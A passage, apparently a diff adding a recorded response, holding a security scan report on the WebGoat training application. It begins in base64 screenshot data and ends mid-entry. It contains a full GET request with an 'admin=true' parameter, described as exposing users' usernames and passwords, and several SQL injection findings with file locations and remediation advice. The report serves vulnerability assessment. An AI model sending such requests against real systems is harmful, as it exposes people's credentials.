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</data>\n</screenshot>\n<code>The
+        following GET request will display the username and password for users within
+        the application.\n\nGET /WebGoat/attack?Screen=1073550134&amp;menu=2000&amp;admin=true
+        HTTP/1.1\nHost: targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
+        rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nCookie: JSESSIONID=13984BA559044E0A4610D4AC31B06B27\n</code></appendix></flaw></manualflaws></cwe></category></severity><severity
+        level=\"4\"><category categoryid=\"19\" categoryname=\"SQL Injection\" pcirelated=\"false\"><desc><para
+        text=\"SQL injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct a SQL query.
+        \ This allows an attacker to manipulate database queries in order to access,
+        modify, or delete arbitrary data.  Depending on the platform, database type,
+        and configuration, it may also be possible to execute administrative operations
+        on the database, access the filesystem, or execute arbitrary system commands.
+        \ SQL injection attacks can also be used to subvert authentication and authorization
+        schemes, which would enable an attacker to gain privileged access to restricted
+        portions of the application.\"/></desc><recommendations><para text=\"Several
+        techniques can be used to prevent SQL injection attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a SQL injection vulnerability.\"><bulletitem text=\"Use parameterized prepared
+        statements rather than dynamically constructing SQL queries.  This will prevent
+        the database from interpreting the contents of bind variables as part of the
+        query and is the most effective defense against SQL injection.\"/><bulletitem
+        text=\"Validate user-supplied input using positive filters (white lists) to
+        ensure that it conforms to the expected format, using centralized data validation
+        routines when possible. \"/><bulletitem text=\"Normalize all user-supplied
+        data before applying filters or regular expressions, or submitting the data
+        to a database. This means that all URL-encoded (%xx), HTML-encoded (&amp;#xx;),
+        or other encoding schemes should be reduced to the internal character representation
+        expected by the application. This prevents attackers from using alternate
+        encoding schemes to bypass filters.\"/><bulletitem text=\"When using database
+        abstraction libraries such as Hibernate, do not assume that all methods exposed
+        by the API will automatically prevent SQL injection attacks.  Most libraries
+        contain methods that pass arbitrary queries to the database in an unsafe manner.\"/></para></recommendations><cwe
+        cweid=\"89\" cwename=\"Improper Neutralization of Special Elements used in
+        an SQL Command ('SQL Injection')\" pcirelated=\"false\" owasp=\"929\" sans=\"864\"><description><text
+        text=\"This database query contains a SQL injection flaw.  The function call
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input.  An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database.\"/></description><staticflaws><flaw severity=\"4\" categoryname=\"Improper
+        Neutralization of Special Elements used in an SQL Command ('SQL Injection')\"
+        count=\"1\" issueid=\"126\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.Statement.executeUpdate\"
+        description=\"This database query contains a SQL injection flaw. The call
+        to java.sql.Statement.executeUpdate() constructs a dynamic SQL query using
+        a variable derived from user-supplied input. An attacker could exploit this
+        flaw to execute arbitrary SQL queries against the database. The first argument
+        to executeUpdate() contains tainted data from the variable arrSQL. The tainted
+        data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"106\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"26\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"91\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable arrSQL. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"113\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"236\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BlindSqlInjection.java\"
+        line=\"122\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BlindSqlInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"148\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
